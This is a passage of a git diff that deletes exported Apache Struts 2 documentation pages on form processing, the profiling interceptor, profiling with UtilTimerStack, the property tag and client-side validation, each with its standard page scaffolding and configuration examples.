-</div></div><p>If you don't recall how the Struts 2 property and url tags work consult the <a shape="rect" href="using-struts-2-tags.html">Using Struts 2 Tags</a> tutorial.</p><h3 id="ProcessingForms-CreateactionNodeInstruts.xml">Create action Node In struts.xml</h3><p>To specify the relationship between the form submission page, the Struts 2 Action class, and the success view page we need to add an action node to struts.xml. Add this action node to struts.xml (src folder (Ant version) o [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;action name="register" class="org.apache.struts.register.action.Register" method="execute"&gt;
-  &lt;result name="success"&gt;/thankyou.jsp&lt;/result&gt;
-&lt;/action&gt;
-
-</pre>
-</div></div><p>The above action tells Struts 2 that when the register action is provided to call method execute of class Register. If that method returns result "success" return to the browser the thankyou.jsp.</p><p>Note that we don't need to tell Struts 2 anything about processing the form. The transfer of the form field input values to the personBean object will happen automatically provided we've followed the convention of naming our form fields to match personBean.attributeName (e.g [...]
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">&lt;p&gt;&lt;a href="register.jsp"&gt;Please register&lt;/a&gt; for our prize drawing.&lt;/p&gt;
-</pre>
-</div></div><h3 id="ProcessingForms-RunTheExample">Run The Example</h3><p>If everything is correct, you should be able to create the war file, deploy the war file to your Servlet container, and open this URL in your web browser: <a shape="rect" class="external-link" href="http://localhost:8080/form_processing/index.action" rel="nofollow">http://localhost:8080/form_processing/index.action</a>. On that page should be a link to register. Click on that link and you should see the register.js [...]
-        </div>
-
-                    <div class="tabletitle">
-                Children
-            <span class="smalltext" id="show" style="display: inline;">
-              <a href="javascript:showChildren()">Show Children</a></span>
-            <span class="smalltext" id="hide" style="display: none;">
-              <a href="javascript:hideChildren()">Hide Children</a></span>
-            </div>
-            <div class="greybox" id="children" style="display: none;">
-                                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                            </div>
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/profiling-interceptor.html b/content/docs/profiling-interceptor.html
deleted file mode 100644
index c0d0a2b..0000000
--- a/content/docs/profiling-interceptor.html
+++ /dev/null
@@ -1,178 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Profiling Interceptor</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="interceptors.html">Interceptors</a>&nbsp;&gt;&nbsp;<a href="profiling-interceptor.html">Profiling Interceptor</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Profiling Interceptor</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=28758">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=28758">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=28758">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=28758">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=28758">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=28758">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-<p>Allows profiling to be enabled or disabled via request parameters, when
-devMode is enabled.</p>
-
-
-<h2 id="ProfilingInterceptor-Parameters">Parameters</h2>
-
-
-<p></p><ul><li>profilingKey</li></ul>
-
-
-<h2 id="ProfilingInterceptor-Extending">Extending</h2>
-
-
-<p>none</p>
-
-
-<h2 id="ProfilingInterceptor-Example">Example</h2>
-
-<p>// to change the profiling key
-&lt;action ...&gt;
-  ...
-  &lt;interceptor-ref name="profiling"&gt;
-     &lt;param name="profilingKey"&gt;profilingKey&lt;/param&gt;
-  &lt;/interceptor-ref&gt;
-  ...
-&lt;/action&gt;</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/profiling.html b/content/docs/profiling.html
deleted file mode 100644
index efa43f2..0000000
--- a/content/docs/profiling.html
+++ /dev/null
@@ -1,221 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Profiling</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="profiling.html">Profiling</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Profiling</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=27308">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=27308">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=27308">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=27308">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=27308">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=27308">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>Profiling software looks for bottlenecks in program execution. In addition to the profiling services provided by IDEs and standalone profilers, the framework provides its own internal support for profiling. </p>
-
-
-<h2 id="Profiling-Profilingaspects">Profiling aspects </h2>
-<plain-text-body>{snippet:id=profilingAspect_struts2|javadoc=true|url=com.opensymphony.xwork2.util.profiling.UtilTimerStack}</plain-text-body>
-
-<h2 id="Profiling-Using">Using</h2>
-<p>To enable profiling, first make sure that the <code>profiling</code> interceptor is applied to your action, like:</p>
-<parameter ac:name="">xml</parameter><plain-text-body>
-&lt;action ... &gt;   
-   ... 
-   &lt;interceptor-ref name="profiling"&gt; 
-       &lt;param name="profilingKey"&gt;profiling&lt;/param&gt; 
-   &lt;/interceptor-ref&gt; 
-   ... 
-&lt;/action&gt; 
-</plain-text-body>
-
-<p>Then enable profiling using one of the following methods:</p>
-
-<h3 id="Profiling-ActivateThroughSystemproperty">Activate Through System property</h3>
-<plain-text-body>{snippet:id=activationThroughSystemProperty|lang=xml|javadoc=true|url=com.opensymphony.xwork2.util.profiling.UtilTimerStack}</plain-text-body>
-<plain-text-body>{snippet:id=activationThroughSystemPropertyDescription|javadoc=true|url=com.opensymphony.xwork2.util.profiling.UtilTimerStack}</plain-text-body>
-
-<h3 id="Profiling-ActivateThroughcode">Activate Through code</h3>
-<plain-text-body>{snippet:id=activationThroughCode|lang=xml|javadoc=true|url=com.opensymphony.xwork2.util.profiling.UtilTimerStack}</plain-text-body>
-<plain-text-body>{snippet:id=activationThroughCodeDescription|javadoc=true|url=com.opensymphony.xwork2.util.profiling.UtilTimerStack}</plain-text-body>
-
-<h3 id="Profiling-ActivateThroughparameter">Activate Through parameter</h3>
-<plain-text-body>
-http://host:port/context/namespace/someAction.action?profiling=true 
-</plain-text-body> 
-
-<h3 id="Profiling-Changingtheactivationparametername">Changing the activation parameter name</h3>
-<p>Set the <code>profilingKey</code> attribute of the <code>profiling</code> interceptor to the desired name:</p>
-<parameter ac:name="">xml</parameter><plain-text-body>
-&lt;action ... &gt;   
-   ... 
-   &lt;interceptor-ref name="profiling"&gt; 
-       &lt;param name="profilingKey"&gt;profiling&lt;/param&gt; 
-   &lt;/interceptor-ref&gt; 
-   ... 
-&lt;/action&gt; 
-</plain-text-body>
-
-<rich-text-body>
-<p>Profiling activation through a parameter requires <code>struts.devMode</code> to be <code>true</code>.</p></rich-text-body>
-
-<h2 id="Profiling-Filteringprofileinformation">Filtering profile information</h2>
-<p>One could filter out the profile logging by having a System property as follows:</p>
-<plain-text-body>
--Dxwork.profile.mintime=10000 
-</plain-text-body>
-<p> With this <code>xwork.profile.mintime</code> property, one could only log profile information when its execution time exceed those specified in <code>xwork.profile.mintime</code> system property. If no such property is specified, it will be assumed to be 0, hence all profile information will be logged.</p>
-
-<h2 id="Profiling-Writeprofilingcode">Write profiling code</h2>
-<p>One could extend the profiling feature provided by Struts2 in their web application as well. </p>
-
-<h3 id="Profiling-UsingUtilTimerStack'spushandpop">Using UtilTimerStack's push and pop</h3>
-<parameter ac:name="">java</parameter><plain-text-body>
-String logMessage = "Log message"; 
-UtilTimerStack.push(logMessage); 
-try { 
-    // do some code 
-} finally { 
-    UtilTimerStack.pop(logMessage); // this needs to be the same text as above 
-} 
-</plain-text-body>
-
-<h3 id="Profiling-UsingaUtilTimerStack'sProfileBlocktemplate">Using a UtilTimerStack's ProfileBlock template</h3>
-<parameter ac:name="">java</parameter><plain-text-body>
-String result = UtilTimerStack.profile("purchaseItem: ",  
-      new UtilTimerStack.ProfilingBlock&lt;String&gt;() { 
-           public String doProfiling() { 
-              // do some code 
-              return "Ok"; 
-           } 
-      }); 
-</plain-text-body>
-
-<h2 id="Profiling-ProfilingLogfiles">Profiling Log files</h2>
-<p>Profiled result is logged using commons-logging under the logger named <code>com.opensymphony.xwork2.util.profiling.UtilTimerStack</code>. Depending on the underlying logging implementation, say if it is Log4j, one could direct the log to appear in a different file, being emailed to someone or have it stored in the db.</p>
-
-<h2 id="Profiling-Next:">Next: <a shape="rect" href="debugging.html">Debugging</a></h2></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/property.html b/content/docs/property.html
deleted file mode 100644
index 04ac9c2..0000000
--- a/content/docs/property.html
+++ /dev/null
@@ -1,172 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>property</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="tag-reference.html">Tag Reference</a>&nbsp;&gt;&nbsp;<a href="generic-tag-reference.html">Generic Tag Reference</a>&nbsp;&gt;&nbsp;<a href="property.html">property</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">property</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13960">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13960">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13960">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13960">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13960">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13960">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>Please make sure you have read the <a shape="rect" href="tag-syntax.html">Tag Syntax</a> document and understand how tag attribute syntax works.</p></div></div><h1 id="property-Description">Description</h1><p></p><p>
-Used to get the property of a <i>value</i>, which will default to the top of
-the stack if none is specified.
-</p><h1 id="property-Parameters">Parameters</h1><p><table width="100%"><tr><td colspan="6" rowspan="1"><h4>Dynamic Attributes Allowed:</h4> false</td></tr><tr><td colspan="6" rowspan="1">&#160;</td></tr><tr><th align="left" colspan="1" rowspan="1" valign="top"><h4>Name</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Required</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Default</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Eval [...]
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-
-&lt;s:push value=&quot;myBean&quot;&gt;
-    &lt;!-- Example 1: --&gt;
-    &lt;s:property value=&quot;myBeanProperty&quot; /&gt;
-
-    &lt;!-- Example 2: --&gt;TextUtils
-    &lt;s:property value=&quot;myBeanProperty&quot; default=&quot;a default value&quot; /&gt;
-&lt;/s:push&gt;
-
-]]></script>
-</div></div><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: plain; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-Example 1 prints the result of myBean&#39;s getMyBeanProperty() method.
-Example 2 prints the result of myBean&#39;s getMyBeanProperty() method and if it is null, print &#39;a default value&#39; instead.
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/pure-javascript-client-side-validation.html b/content/docs/pure-javascript-client-side-validation.html
deleted file mode 100644
index 9c4ecbe..0000000
--- a/content/docs/pure-javascript-client-side-validation.html
+++ /dev/null
@@ -1,165 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Pure JavaScript Client Side Validation</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="validation.html">Validation</a>&nbsp;&gt;&nbsp;<a href="client-side-validation.html">Client Side Validation</a>&nbsp;&gt;&nbsp;<a href="pure-javascript-client-side-validation.html">Pure JavaScript Client Side Validation</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Pure JavaScript Client Side Validation</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
